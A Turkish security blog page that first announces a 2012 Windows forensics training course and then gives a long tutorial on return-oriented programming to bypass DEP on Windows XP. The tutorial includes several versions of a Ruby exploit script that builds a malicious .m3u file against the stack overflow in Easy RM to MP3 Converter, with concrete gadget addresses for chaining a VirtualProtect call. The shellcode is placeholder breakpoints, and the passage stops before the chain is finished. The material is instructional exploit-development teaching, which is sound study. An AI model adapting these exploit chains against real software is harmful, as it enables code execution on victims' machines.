ADEO Security Labs ekibi olarak 29 Şubat-2 Mart  tarihleri arasında düzenlenecek EMEA Intelligence Konferansı’da  bir günlük özel “Windows Forensics” eğitimi düzenliyoruz. Sadece konferansa özel düzenlenen bu eğitimde bir Windows ortamından elde edilebilecek sayısal delillerin neler olabileceğini detaylarıyla ele alacağız. Eğitim detayları aşağıdaki gibidir. Sınırlı sayıda kişinin katılbileceği bu eğitim için sebnem.senturk@adeo.com.tr adresine başvuruda bulunabilirsiniz..

Eğitim Adı: Windows Forensics

Kimler Katılabilir : Bilgi Güvenliği Uzmanları, Kurum İçi Adli Bilişim İncelemesi Gerçekleştiren IT Uzmanları, IT Denetçileri, Bilişim Suçları İle İlgilenen Kolluk Kuvveti Çalışanları, Adli Bilişim Konusunda Uzmanlaşmak İsteyen IT Çalışanları

Eğitim Tarihi : 1 Mart 2012

Eğitimin İçeriği :

• Windows Live Response
• What is Volatile Data in a Windows System
• RFC 3227- Guidelines for Evidence Collection and Archiving
• System Time, Running Processes, Clipboard, Logged Users, Open Files, Network Status, Command History etc..
• What is Registry Forensics
• Registry Hives
• Registry Analysis Tools-Live Analysis
• Registry Analysis Tools-Offline Analysis
• Understanding the Event Logs
• Event Logs Categories
• Examining System Log Entries
• Examining Application Log Entries
• Windows Shadow Copy Analysis
• Superfetch and Prefetc

Eğitim Ücreti : 150 TL+KDV

Eğitim katılımcıları, kendi adlarında düzenlenmiş katılımcı kartları ile EMEA Intelligence Konferansının tamamına ücretsiz katılabileceklerdir.

Eğitim Yeri : EMEA Intelligence Konferansı ve Sergisi – Harbiye Askeri Müzesi

Eğitmen :Halil ÖZTÜRKCİ (www.halilozturkci.com)

Eğitimlerde sadece teorik bilgi anlatılmayacak, örnek olaylar ve laboratuvar çalışmaları ile desteklenecektir. Gerçek olaylara yakın senaryolar üzerinden hazırlanan dijital delil dosyaları üzerinde yapılacak laboratuvar çalışmaları ile katılımcıların öğrendikleri teorik bilgileri pratiğe dökmeleri sağlanacaktır.  Bunun yanında, eğitimde işlenen konularla katılımcılar SANS’ın GCFE ve GCFA sertifikaları ile EC-Council’ın CHFI (Computer Hacking Forensic Investigator) sertifikalarına hazırlanmış olacaklardır.

File Sistem Forensics – 1 from adeosecurity on Vimeo.

File Sistem Forensics – 2 from adeosecurity on Vimeo.

Art of Fuzzing from adeosecurity on Vimeo.

“Neden ROP tekniğine ihtiyaç duyuyoruz?” sorusuna cevap olarak DEP diyebiliriz. DEP, Windows sistemlerde Stack’in NX (No eXecute) yani üzerinde kod çalıştırılamaz hale getirilmesini sağlayan bir korunma yöntemidir (Açılımı “Data Execution Prevention“). ROP ise Windows’un DEP korumasını aşmak ve NX Stack üzerinde kod çalıştırabilmek için kullanılan bir tekniktir.

Daha önce exploiting ile uğraşmış olanlar bilirler, ret2lib tekniğini. ROP tekniğide işte tam bu tekniğin yaptığını peşpeşe birçok adrese “return” olarak yapıyor ve bir şekilde stack’i üzerinde kod çalıştırılabilir hale getiriyor ya da Memory’de RWX bir alana Shellcode’unuzu yazmanızı ve çalıştırmanızı sağlıyor (DEP Bypass için birçok yöntem mevcut..). Yani genel amaç mevcut olan kodları register’lardaki değerleri değiştirmek, kullanacağınız API’nin parametrelerini ayarlamak v.b için tekrar kullanmaktır. Mevcut olan kodlardan kastımız ise gadget’lar olarak geçen kod parçaları. Tanım kolay gözüksede birazdan makalenin uygulama kısmında mevcut kodlar ile kod yazmanın zorluklarını çekeceğiz.

ROP için kısacası şunları diyebiliriz;

• ret2lib tekniğine benzer
• Code Re-use işlemine dayanmaktadır
• DEP Bypass için idealdir
• Gadget’lar kullanılmaktadır

Bu makalede VirtualProtect API’si ile Shellcode’umuzun hafızada bulunduğu alanı çalıştırılabilir hale getirerek oraya zıplayacağız. VirtualProtect Tekniğini seçmemin sebebi birçok farklı Windows sistemde işe yarıyor olması.

VirtualProtect fonksiyonunun yapısı aşağıdaki şekildeki gibidir.

VirtualProtect Fonksiyonu [1]

• Return Address, stack’de ilk olarak return adres belirtmemiz gerekiyor ki VP fonksiyonu işlemini tamamladığında o adrese geri dönsün.
• lpAddress parametresine VP fonksiyonunun korunma şeklini değiştireceği alana işaret eden bir adres girmemiz gerekiyor.
• dwSize parametresine VP fonksiyonunun korunma şeklini değiştireceği alanın uzunluğunu girmemiz gerekiyor.
• flNewProtect parametresine hafızanın korunma şeklini belirten sabitlerden bir değeri girmemiz gerekiyor. Bu sabitler Şekil-2′deki gibidir.
• lpflOldProtect parametresine ise yazılabilir bir hafıza alanından pointer girmemiz gerekiyor, zira VP fonksiyonu bir önceki korunma şekline bakıyor aksi takdirde fonksiyonu başarısız oluyor. Yani bizim gireceğimiz yazılabilir hafıza alanına ait sahte adres VP fonksiyonunu kandırıyor.

Memory Protection Constants [2]

Örneğin 0×10203040 adresinde bir shellcode’umuz var ve uzunluğu 400 byte. Shellcode’umuzun bulunduğu alanın korunma şeklini değiştirmek için VirtualProtect fonksiyonunu çağırmamız Stack üzerinde şu şekilde olacaktır;

• 0x7C801AD4 – VP()’nin Adresi
• 0×10203040 – Return Adresi
• 0×10203040 – lpAddress parametresi
• 0×00000190 – dwSize parametresi
• 0×00000040 – flNewProtect parametresi (0×40 = PAGE_EXECUTE_READWRITE)
• 0×30405060 – lpflOldProtect parametresi (Yazılabilir bir alandaki pointer)

Yani biz kontrolünü sağladığımız uygulamanın akışını buraya yönlendirirsek VP() fonksiyonu bu parametreler ile çalıştırılacak ve 0×10203040 adresinden itibaren 0×190 (400 byte)’lık alan çalıştırılabilir olarak işaretlenecektir ve uygulamanın akışı 0×10203040 adresinden itibaren devam edecektir. Kısacası DEP bypass edilecektir.

VirtualProtect fonksiyonunun adresini bulmak için kernel32.dll dosyasını IDA gibi bir disassembler ile açarak Export edilen fonksiyonları görüntülediğiniz Exports penceresinden bulabilirsiniz, aynen aşağıdaki gibi.

Gadget Nedir?

Gadget, kodlar barındıran ve akışın tekrar stack’e dönüp stack’teki bir sonraki DWORD değeri alıp o adresten kod çalıştırmaya devam etmesini sağlayan kod parçalarıdır. Stack’e geri dönülüp alınan değerdeki adresten kod çalıştırılmaya devam edilmesini sağlayan Assembly instruction’ı ise RET ve türevleridir. Aşağıdaki kod parçası için bir “gadget“tır diyebiliriz.

Gadget:
0x7C102030 PUSH EAX
0x7C102031 POP ECX
0x7C102032 POP ESI
0x7C102033 RETN

Stack:
0x7C102030
0xDEADBEEF
0×10014060

Bu gadget kısaca şunu yapıyor, EAX’deki değeri PUSH ediyor yani stack’e yolluyor, POP ECX instruction’ı ile PUSH edilen değeri ECX’e alıyor, POP ESI ile stack’ten DWORD’lük bir değeri (0xDEADBEEF) ESI’ye alıyor ve en son RETN ile ESI’ye aktarılan değerden sonraki DWORD değerdeki adresten (0×10014060) çalışmaya devam ediyor. (Not: Buradaki adresler örnek amaçlıdır ve gerçek değildir)

1. Adım: EAX’ın değeri stack’te
2. Adım: ECX = EAX
3. Adım: ESI = 0xDEADBEEF
4. Adım: Stack’e geri dön ve 0×10014060 adresinden başlayarak bir sonraki RETN’e kadar çalıştır.

İşte yukarıdaki adımlar bizim ROP exploitimizi oluşturacak adımlar, tabi daha karmaşık adımlar ile mücadele edeceğiz. O yüzden şunu belirmekte fayda var, bu tekniği daha efektif kullanabilmek için iyi bir Assembly bilginizin olması artı yönde katkı sağlayacaktır.

Buraya kadar olan kısım anlaşıldı ise artık elleri kirletmenin vakti geldi demektir. Şimdi örnek bir Stack Overflow zafiyetli uygulama üzerinden DEP’in aktif olduğu bir sistemde gadget’ları biraz daha anlamak için pratik yapacağız. Sonraki kısımda ise yine aynı uygulamadaki zafiyet için bir ROP exploit’i yazacağız.

Gadget’ları Anlamak

Hedef olarak Easy RM2MP3 adındaki klasik stack overflow zafiyeti olan programı kullanacağız. File format tabanlı bir zafiyeti seçmemin sebebi ilk aşamada rahat rahat kullanabileceğimiz bir stack’e sahip olmamız. İşletim sistemi olarakta XP SP3′ü hedef aldık ve DEP koruması olarakta OptIn’i seçtim (AlwaysOn yaptığınızda reboot etmeniz gerekmekte).

Ruby ile ilk aşamada basit bir PoC yazdım. Bu PoC rop.m3u adında bir dosya oluşturacak, bu dosyanın içerisinde bizim payload’umuz olacak ve hedef uygulamada bu dosyayı açacağız.

PoC.rb

filename = "rop.m3u"
buffersize = 26109
junk = "A" * buffersize

eip = [0x1002DC2A].pack("V*") # RET

# rop payload
rop = "FFFF"
rop << [0x1002E796].pack("V*") # POP EAX + POP EBP + RET
rop << [0x44444444].pack("V*") # Will be pop'd to EAX
rop << [0x88888888].pack("V*") # Will be pop'd to EBP
rop << [0x1002DC4C].pack("V*") # ADD EAX, 100 + POP EBP + RET
rop << [0xC00FFEEE].pack("V*") # Will be pop'd to EBP
rop << [0x100155D7].pack("V*") # INT 3

# shellcode to execute from stack when ROP success
shellcode = ("C" * 900)

payload = "#{junk}#{eip}#{rop}#{shellcode}"

puts "Payload size : #{payload.length}"

File.open("rop.m3u", "w") { |f|
 f.write(payload)
}

Kullanmış olduğum instruction’lar şu adreslerde yer alıyor sırasıyla;

• 0x1002DC2A
• 0x1002E796
• 0x1002DC4C
• 0x100155D7

Immunity Debugger’ın komut satırında u 0x1002DC2A komutunu çalıştırdığımda hemen yukarıdaki Disassembly penceresinde ilgili adreste hangi instruction olduğunu görebilirsiniz. Sırasıyla bakarsak eğer 0x1002DC2A adresinde RET instruction’i var. Bu adresi EIP’e yazdirdik yani EIP çalıştığında doğrudan stack’e dönecek. Sıradan devam ediyorum u 0x1002E796 komutunu çalıştırdığımda karşıma POP EAX + POP EBP + RET instruction seti çıkmakta.

0x1002E796 adresindeki gadget

0x1002DC4C adresinde ise ADD EAX, 100 + POP EBP + RET instruction seti var. 0x100155D7 adresinde ise INT 3 instruction’ı var, yani breakpoint. Adım adım gadget’ların nasıl register’ları etkilediğini (daha doğrusu gadget’ları doğru bir şekilde çalıştırabildiğimizi) göreceğiz. 0x1002DC2A adresine ImmDbg komut satırında b 0x1002DC2A şeklinde bir breakpoint koyuyorum ve rop.m3u dosyasını uygulama ile açıyorum. Program şuan 0x1002DC2A adresinde duraklatıldı. Step Over (F8) diyerek adım adım ilerliyorum.

POP EAX İşlemi

POP EAX işlemi sonunda stack’teki 0×44444444 değeri EAX’e yüklendi (Not: Resimlerin üzerine tıklayarak büyük hallerini görebilirsiniz).

POP EBP İşlemi

POP EBP işlemi sonunda stack’teki 0×88888888 değeri EBP’ye yüklendi. Sonrasında RETN instruction’ı ile stack’e döndük ve programın akışı 0x1002DC4C adresine yönlendi.

ADD EAX, 100 İşlemi

Bu işlem ile EAX’a 0×100 (Decimal olarak: 256) değerini ekledik. Yani EAX 0×44444444 idi, bu işlemden sonra 0×44444444 + 0×100 = 0×44444544 oldu. Aşağıdaki ekran görüntüsünden EAX’in yeni değerini görebilirsiniz.

POP EBP ve EAX = 0×44444544

Gördüğünüz gibi şu ana kadar ki tüm işlemleri gadget’larımız ile gerçekleştirdik. POP EBP işleminden sonrada EBP’nin yeni değeri stack’teki 0xC00FFEE olacaktır.

RETN ve EBP = 0xC00FFEEE

Bu aşamaya kadar başarılı bir şekilde uygulama yaptıysanız artık exploiting aşamasına geçebiliriz.

Exploiting

Exploiting aşamasında ilk olarak ROP gadget’ları çıkartabileceğimiz ve program tarafından yüklenen kütüphaneleri bulmamız ve o kütüphaneleri hafızadaki durumlarına göre filtrelememiz gerekiyor. ImmDbg’in pvefindaddr eklentisi ile kolayca bunu yapabiliriz. ImmDbg komut satırında !pvefindaddr noaslr komutunu çalıştırarak log penceresine bakıyoruz.

Yüklenen DLL’ler

ASLR’nin etkin olmadığı ve BaseFixup (Yani modül her zaman aynı base adreste konumlanmayabilir) olmayan modüllerde ROP gadget’ları aramak yazacağımız exploit’in için daha stabil çalışmaları için etkili olacaktır. Exploitimizi yazmaya başlıyoruz..

Exploit’imizin yapısı şu şekilde olabilir.

ROP Exploit Yapısı

Normalde shellcode’umuzun adresini dinamik olarak hesaplamak haricinde pek bir gadget’a ihtiyaç yok gibi duruyor. Fakat VP fonksiyonunun diğer parametreleri NULL byte (0×00) içerdiği için ve hedef uygulama NULL byte’ları öldürdüğü için mecburen diğer parametreleride dinamik olarak oluşturup ilgili konumlarına yazacağız. İlk olarak şunu yapıyoruz, EIP’e sadece RET instruction’ını barındıran bir adres yazacağız ve stack’e geri döneceğiz. Ardından shellcode’umuzun adresini hesaplayabilmek için ESP’yi bir yada birden çok register’da saklayacağız ve daha sonra diğer işlemlerimize geçeceğiz. İlk gadget’ımız 0x1002DC2A adresinde ve sadece RETN instruction’ı içeriyor, kısacası hemen stack’e dönecek ve bir sonraki adrese giderek oradaki instruction’ları çalıştıracak. Bir sonraki instruction’ınımın adresi ise 0x5AD79277 ve bu gadget PUSH ESP + MOV EAX, EDX + POP EDI + RET instruction’larını içeriyor. ESP’ideki değeri EDI’yede atıyor.

EDI = ESP

Bir kaç register’da daha ESP’yi saklamak faydalı olacaktır daha sonraki işlemler için. Bunun için bulduğum gadget’lar şu adreslerde 0x77C34DC2 ve 0x775D131E. İlk gadget MOV EAX,EDI instruction’ı ile EDI’yi (EDI = ESP) EAX’a taşıyor, ikinci gadget ise PUSH EAX + POP ESI instruction’ları ile EAX’ı (EAX = ESP) stack’e PUSH ediyor ve daha sonra o değeri ESI’ye alıyor. Son durumda register’ların durumu şu şekilde;

EAX = 0x000FF734
EDI = 0x000FF734
ESP = 0x000FF734
ESI = 0x000FF734

VirtualProtect fonksiyonunu temsili bir şekilde stack’te yer edindirmek içinde parametreleri rastgele değerler ile exploitimize giriyoruz.

Exploit:

filename = "rop2.m3u"
buffersize = 26109
junk = "A" * buffersize

eip = [0x1002DC2A].pack("V*") # RET

# rop payload
rop = "FFFF"
rop << [0x5AD79277].pack("V*") # PUSH ESP + ... + POP EDI + RET
rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop << [0x33445566].pack("V*") # trash for POP
rop << [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN
# EDI, ESI ve EAX ESP'nin değerine sahipler

# VirtualProtect
rop << [0x7C801AD4].pack("V*") # VirtualProtect from kernel32.dll
rop << [0x44444444].pack("V*")
rop << [0x45454545].pack("V*")
rop << [0x46464646].pack("V*")
rop << [0x47474747].pack("V*")
rop << [0x10035005].pack("V*")

nops = ("\x90" * 100)
shellcode = ("\xCC" * 350)
junk2 = ("\xCC" * (600 - shellcode.length))
payload = "#{junk}#{eip}#{rop}#{nops}#{shellcode}#{junk2}"

puts "Payload size : #{payload.length}"

File.open("rop2.m3u", "w") { |f|
 f.write(payload)
}

VirtualProtect fonksiyonunun çalıştırılmaması için ESP’yi biraz arttırarak VirtualProtect ve parametrelerini aşmamız gerekmekte. VP() yer tutucusu 6 DWORD’den oluşmakta. 6 DWORD demek 6 x 4 = 24 byte demek. ADD ESP, 18 gibi instruction benim için bu işlemi yapacaktır. 0x77C22894 adresinde işimi görebilecek bir gadget mevcut. ADD ESP,20 + POP EBP + RET instruction’larından oluşan bu gadget ile ESP’yi 32 byte (20h = 32d) kaydırabilmem mümkün. Şunuda not olarak eklemek gerekmekte. Exploit’te görebileceğiniz gibi 0x77C34DC2 gadget’ından sonra ROP Payload’uma 0×33445566 gibi bir değer daha ekledim. Bu değer POP ESI instruction’ına atanacak. Önemsiz bir değerde olsa mutlaka bir değer verilmeli gadget içinde eğer POP instruction’ı varsa, yoksa POP instruction’ları stack’ten bir sonraki değeri alacaktır ve ROP Payload’unuz istediğiniz gibi çalışmayacaktır. 0x5AD79277 gadget’ında da POP işlemi var ama herhangi bir değer neden girmedik diye soracaksanız bunun cevabı zaten gadget’ın içerisinde. PUSH işlemi bir DWORD değeri stack’e attı, sonrasındaki POP işlemi ise o atılan değeri otomatik olarak aldı. Gadget, PUSH ESP + POP EDI + POP EAX şeklinde olsaydı benim ROP Payload’um şu şekilde olacaktı.

rop << [0x5AD79277].pack("V*") # PUSH + POP + POP
rop << [0x44332255].pack("V*") # En son POP için

Kaldığımız yerden devam.. Exploit’imin son hali şu şekilde;
Exploit:

filename = "rop2.m3u"
buffersize = 26109
junk = "A" * buffersize

eip = [0x1002DC2A].pack("V*") # RET

# rop payload
rop = "FFFF"
rop << [0x5AD79277].pack("V*") # PUSH ESP + ... + POP EDI + RET
rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop << [0x33445566].pack("V*") # trash for POP
rop << [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN
# EDI, ESI ve EAX ESP'nin değerine sahipler

rop << [0x77C22894].pack("V*") # ADD ESP,20 + POP + RET
rop << [0x41414141].pack("V*") # trash for POP

# VirtualProtect
rop << [0x7C801AD4].pack("V*") # VirtualProtect from kernel32.dll
rop << [0x44444444].pack("V*")
rop << [0x45454545].pack("V*")
rop << [0x46464646].pack("V*")
rop << [0x47474747].pack("V*")
rop << [0x10035005].pack("V*")
rop << [0x61616161].pack("V*") # add esp,20 için
rop << [0x61616161].pack("V*") # add esp,20 için

rop << [0x77887788].pack("V*")

nops = ("\x90" * 100)
shellcode = ("\xCC" * 350)
junk2 = ("\xCC" * (600 - shellcode.length))
payload = "#{junk}#{eip}#{rop}#{nops}#{shellcode}#{junk2}"

puts "Payload size : #{payload.length}"

File.open("rop2.m3u", "w") { |f|
 f.write(payload)
}

VP()’den sonra koymuş olduğum iki adet 0×61616161 değerleri toplamda boyutu 32′ye tamamlamak içindi. Aksi halde ESP istediğim yere işaret etmeyecekti. Eğer herşey doğru ise ESP’nin değeri 20h (32d) artmalı ve bir sonraki çalıştırılacak gadget olarak 0×77887788 adresine gitmeye çalışmalı programın akışı. 0x5AD79277 adresine breakpoint koyup dosyayı hedef program ile açıyoruz ve EIP 0×77887788 olana kadar Step Over (F8) yaparak gidiyoruz. Aşağıdaki resime bakarsanız, register’lardaki kaydedilmiş ESP değerlerini görebilirsiniz. Bir sonraki resimden ise EIP’in 0×77887788 adresine gitmeye çalıştığını görebilirsiniz. Eğer bu adımları başarıyla gerçekleştirdiyseniz, artik VP() fonksiyonuna müdahele ederek parametreleri istenilen değerlere atama aşamasına geçebiliriz.

Register’ların Son Durumu

Sonraki Adımda EIP

EDI, ESI ve EAX register’larında ESP’nin ilk baştaki değeri mevcut. Bu değere göre bir register’ı shellcode’umun adresine eşitleyeceğim VP()’nin ilk iki parametresi için. Öncelikle shellcode’umun adresine bakıyorum.

Stack’in Durumu

İlk iki parametreyi C’lerin bulunduğu adreslerden bir tanesine işaret edecek şekilde ayarlarsam başarılı olabilirim. Arayı biraz bırakırsam iyi olur çünkü araya başka gadget’larda gireceği için yeterli alanı sağlamam gerekmekte. Bunun için ADD EAX, XX gibi bir gadget bulmalıyım. Bulduğum gadget’lar içerisinde en kullanışlı olanı ADD EAX, 100h gadget’ı. EAX (0x000FF734) + 0×100 (256d) = 0x000FF834 adresine tekabül etmekte. Shellcode’umu bu adrese işaret edecek şekilde daha sonra konumlandıracağım. Şuan için shellcode yerine C karakteri kullandık. Artık EAX shellcode’umuza işaret ediyor diyebiliriz.

İlk parametreyi atamak için saved ESP’ye sahip register’lardan bir tanesini temel pointer olarak kullanıp işaret ettikleri değerleri değiştirebilmemiz lazım. Şuan için elimizde ESI ve EDI kaldı sadece saved ESP’ye sahip register’lar olarak. Bulmuş oldupum gadget’lar arasındaki en kullanışlısı 0x7301D6EA adresindeki gadget. Bu gadget şu instruction’lara sahip;

MOV DWORD PTR DS:[ESI+18],EAX
MOV DWORD PTR DS:[ESI+1C],EAX
MOV EAX,ESI
POP ESI
POP EBP
RETN 4

Görüleceği gibi gadget ESI+18 ve ESI+1C adreslerine EAX’in değerini yazıyor. ESI (0x000FF734) + 0×18 (24d) = 0x000FF74C ve ESI (0x000FF734) + 0x1C (28d) = 0x000FF750.

0x000FF74C adresinde DDDD ve 0x000FF750 adresinde ise EEEE değerleri var. Bulmuş olduğum gadget tek atışta DDDD ve EEEE değerlerini EAX’in değerine eşitleyeceğiz.

Bulmuş olduğumuz kullanışlı gadget’ımız sayesinde tek atışta 0x000FF74C ve 0x000FF750 adreslerine EAX’ın değerini yazdırdık. Ama şuan için sorunumuz gadget içerisindeki MOV EAX, ESI ve POP ESI instruction’larının mevcut değerleri bozması. Bir sonraki gadget ile bu değerleri kurtarmamız gerekecek. Bunun içinde daha önceden kullandığımız MOV EAX,EDI + POP ESI + RET ve PUSH EAX + POP ESI + RETN gadget’larını kullanacağız. Exploitimizin son hali şu şekilde olmalı.

filename = "rop2.m3u"
buffersize = 26109
junk = "A" * buffersize

eip = [0x1002DC2A].pack("V*") # RET

# rop payload
rop = "FFFF"
rop << [0x5AD79277].pack("V*") # PUSH ESP + ... + POP EDI + RET
rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop << [0x33445566].pack("V*") # trash for POP
rop << [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN
# EDI, ESI ve EAX ESP'nin değerine sahipler

rop << [0x77C22894].pack("V*") # ADD ESP,20 + POP + RET
rop << [0x41414141].pack("V*") # trash for POP

# VirtualProtect
rop << [0x7C801AD4].pack("V*") # VirtualProtect from kernel32.dll
rop << [0x44444444].pack("V*")
rop << [0x45454545].pack("V*")
rop << [0x46464646].pack("V*")
rop << [0x47474747].pack("V*")
rop << [0x10035005].pack("V*")
rop << [0x61616161].pack("V*") # add esp,20 için
rop << [0x61616161].pack("V*") # add esp,20 için

# EAX'i shellcode'a işaret ettiriyoruz
rop << [0x77C4EC2B].pack("V*") # ADD EAX,100 + POP EBP + RETN > msvcrt.dll
rop << [0x41414141].pack("V*") # trash for POP EBP

# EAX = 0x000FF834
# EDI = 0x000FF734
# ESI = 0x000FF734
# Overwrite first & second parameter of VP()
rop << [0x7301D6EA].pack("V*") # MOV DWORD PTR DS:[ESI+18],EAX + MOV DWORD PTR DS:[ESI+1C],EAX + MOV EAX,ESI + POP ESI + POP EBP + RETN 4 > MFC42.dll
rop << [0x41414141].pack("V*") # trash for POP ESI
rop << [0x41414141].pack("V*") # trash for POP EBP

# EAX = 0x000FF834
# EDI = 0x000FF734
# ESI = 0x41414141
rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop << [0x14141414].pack("V*") # trash for RETN 4
rop << [0x62626262].pack("V*") # trash for POP ESI
rop << [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN

nops = ("\x90" * 100)
shellcode = ("\xCC" * 350)
junk2 = ("\xCC" * (600 - shellcode.length))
payload = "#{junk}#{eip}#{rop}#{nops}#{shellcode}#{junk2}"

puts "Payload size : #{payload.length}"

File.open("rop2.m3u", "w") { |f|
 f.write(payload)
}

RETN+N şeklindeki instruction’lar için kısa bir bilgilendirme yapmak lazım. Bu tip durumlarda N adet DWORD’ü bir sonraki instruction’dan sonra konumlandırmak lazım aksi takdirde ROP Payload’umuz istediğimiz gibi çalışmayacaktır. Bunun sebebi ise RETN+N komutu çalıştırıldığı zaman stack’ten N kadar parametrenin POP edilmesidir.

ROP Payload’una bakacak olursanız ESI ve EAX’ı kurtardık. Bir sonraki görevimiz ESI+20 (0x000FF754) konumuna korunma durumunu değiştireceğimiz alanının boyutunu girmek (VP()’nin 3.parametresi). Bunun için yine EAX’i kullanabiliriz. Öncelikle EAX’i sıfırlıyoruz, XOR EAX, EAX işlemini yapan bir gadget buluyoruz. Bu arada gadget bulma işlemi için debugger’ın arama özelliğini ya da pvefindaddr gibi bir PyCommand’ı kullanabilirsiniz, tercihinize kalmış bir durum. 0x100307A9 adresindeki XOR EAX, EAX gadget’ı ile EAX’ı 0(sıfır)’a eşitliyoruz. Daha sonra 0x77C4EC2B adresindeki ADD EAX, 100 gadget’ı ile EAX’ı 100h’ye eşitliyoruz. ADD EAX, 100 gadget’ını 4 kez çalıştırırsak EAX’a 0×400 (1024d) gibi bir değer atanacaktır ki bu boyut shellcode’umuz için oldukça kullanışlı. ROP Payload’umuza aşağıdaki eklemeyi yapıyoruz.

rop << [0x100307A9].pack("V*") # XOR EAX, EAX + RETN
rop << [0x77C4EC2B].pack("V*") # ADD EAX,100 + POP EBP + RETN
rop << [0x41414141].pack("V*") # trash for POP EBP
rop << [0x77C4EC2B].pack("V*") # ADD EAX,100 + POP EBP + RETN
rop << [0x41414141].pack("V*") # trash for POP EBP
rop << [0x77C4EC2B].pack("V*") # ADD EAX,100 + POP EBP + RETN
rop << [0x41414141].pack("V*") # trash for POP EBP
rop << [0x77C4EC2B].pack("V*") # ADD EAX,100 + POP EBP + RETN
rop << [0x41414141].pack("V*") # trash for POP EBP

Artık EAX, 0×400 değerine eşit. Yani VP()’nin 3.parametresi stack üzerindeki. Yine çok kullanışlı olarak bulduğum gadget’lardan 0x775DD86D gadget’ını kullanıcam. Bu gadget’ın komutları şu şekilde;

MOV DWORD PTR DS:[ESI+20],EAX
POP ESI
POP EBX
POP EBP
RETN 4

Bir önceki parametre yazma işleminde olduğu gibi ESI+20 stack üzerinde VP()’nin 3.parametresine denk geliyor. Ayrıca bazı durumlarda daha kullanışlı olan NEG instruction’ı ile değeri elde etmek daha kısa olabiliyor. NEG instruction’ı verdiğiniz değeri 0xFFFFFFFF ile XOR’luyor. Ufak bir Ruby kodu yazdım ve 1024d elde etmek için hangi değeri kullanmam gerektiğini bulmaya yarıyor.

# negazord.rb
searchval = ARGV[0]

for i in 0..31337
 total = 0xFFFFFFFF - i
 negazored = "0x%08x" % (total ^ 0xFFFFFFFF)

 if negazored.to_i(16) == searchval.to_i
  puts "[+] founded! 0x#{total.to_s(16).upcase}"
 end
end

Şu şekilde kullanarak 0xFFFFFBFF değerinin 0×400 yapacağını buldum.

[cb@world:~]> ruby Codes/ruby/negazord.rb 1024
[+] founded!
[+] NEG (0xFFFFFBFF) = 0x00000400 (1024d)

EAX’e 0xFFFFFBFF değerini POP edip ardından EAX’ı NEG işlemine tabi tutmalıyım. 0x77C4E0DA adresindeki gadget POP EAX + RETN içeriyor, EAX’ı 0xFFFFFBFF’e eşitledik. 0x77C1D1E3 adresindeki gadget ise NEG EAX + POP EBP + RETN içeriyor ve EAX’ı NEG instruction’ı ile 0×400 yaptık.

rop << [0x77C4E0DA].pack("V*") # POP EAX + RETN > msvcrt.dll
rop << [0xFFFFFBFF].pack("V*") # NEG(0xFFFFFBFF) = 0x00000400
rop << [0x77C1D1E3].pack("V*") # NEG EAX + POP EBP + RETN > msvcrt.dll
rop << [0x41414141].pack("V*") # trash for POP EBP

Exploit’imi NEG instruction’ı kullanacak şekilde güncelledim ve ADD EAX, 100 gadget’larını kaldırdım. Daha önceden yaptığım gibi yine ESI’yi kurtarmam lazım bunun içinde daha önceden kullanmış olduğum MOV EAX,EDI + POP ESI + RET ve PUSH EAX + POP ESI + RETN gadget’larını kullanacağım. Bu gadget’lar ile ESI’yi tekrar 0x000FF734 değerine eşitledim. Tekrar EAX’i XOR ile sıfırlıyarak 4.parametre olan 0×40′a eşitleyeceğim. 0x7C972250 adresinde ADD EAX, 40 instruction’ına sahip bir gadget var onu kullanacağız ve son olarak 0x77ECF538 adresindeki MOV DWORD PTR DS:[ESI+24],EAX + POP ESI + RETN instruction’ı ile ESI+24′e yani 4.parametreye 0×40 yazdıracağız. Exploit’in ve stack’in son hali şu şekilde.

Exploit:

filename = "rop2.m3u"
buffersize = 26109
junk = "A" * buffersize

eip = [0x1002DC2A].pack("V*") # RET

# rop payload
rop = "FFFF"
rop << [0x5AD79277].pack("V*") # PUSH ESP + ... + POP EDI + RET
rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop << [0x33445566].pack("V*") # trash for POP
rop << [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN
# EDI, ESI ve EAX ESP'nin değerine sahipler

rop << [0x77C22894].pack("V*") # ADD ESP,20 + POP + RET
rop << [0x41414141].pack("V*") # trash for POP

# VirtualProtect
rop << [0x7C801AD4].pack("V*") # VirtualProtect from kernel32.dll
rop << [0x44444444].pack("V*")
rop << [0x45454545].pack("V*")
rop << [0x46464646].pack("V*")
rop << [0x47474747].pack("V*")
rop << [0x10035005].pack("V*")
rop << [0x61616161].pack("V*") # add esp,20 için
rop << [0x61616161].pack("V*") # add esp,20 için

# EAX'i shellcode'a işaret ettiriyoruz
rop << [0x77C4EC2B].pack("V*") # ADD EAX,100 + POP EBP + RETN > msvcrt.dll
rop << [0x41414141].pack("V*") # trash for POP EBP

# EAX = 0x000FF834
# EDI = 0x000FF734
# ESI = 0x000FF734
# Overwrite first & second parameter of VP()
rop << [0x7301D6EA].pack("V*") # MOV DWORD PTR DS:[ESI+18],EAX + MOV DWORD PTR DS:[ESI+1C],EAX + MOV EAX,ESI + POP ESI + POP EBP + RETN 4 > MFC42.dll
rop << [0x41414141].pack("V*") # trash for POP ESI
rop << [0x41414141].pack("V*") # trash for POP EBP

# EAX = 0x000FF834
# EDI = 0x000FF734
# ESI = 0x41414141
rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop << [0x14141414].pack("V*") # trash for RETN 4
rop << [0x62626262].pack("V*") # trash for POP ESI
rop << [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN

# EAX = 0x000FF734
# EDI = 0x000FF734
# ESI = 0x000FF734
# EAX'i shellcode size'a eşitliyoruz VP()'nin 3.parametresi olarak
rop << [0x77C4E0DA].pack("V*") # POP EAX + RETN > msvcrt.dll
rop << [0xFFFFFBFF].pack("V*") # NEG(0xFFFFFBFF) = 0x00000400
rop << [0x77C1D1E3].pack("V*") # NEG EAX + POP EBP + RETN > msvcrt.dll
rop << [0x41414141].pack("V*") # trash for POP EBP

# EAX'i (0x300) ESI+20'ye taşıyoruz.. VP()'nin 3.parametresi
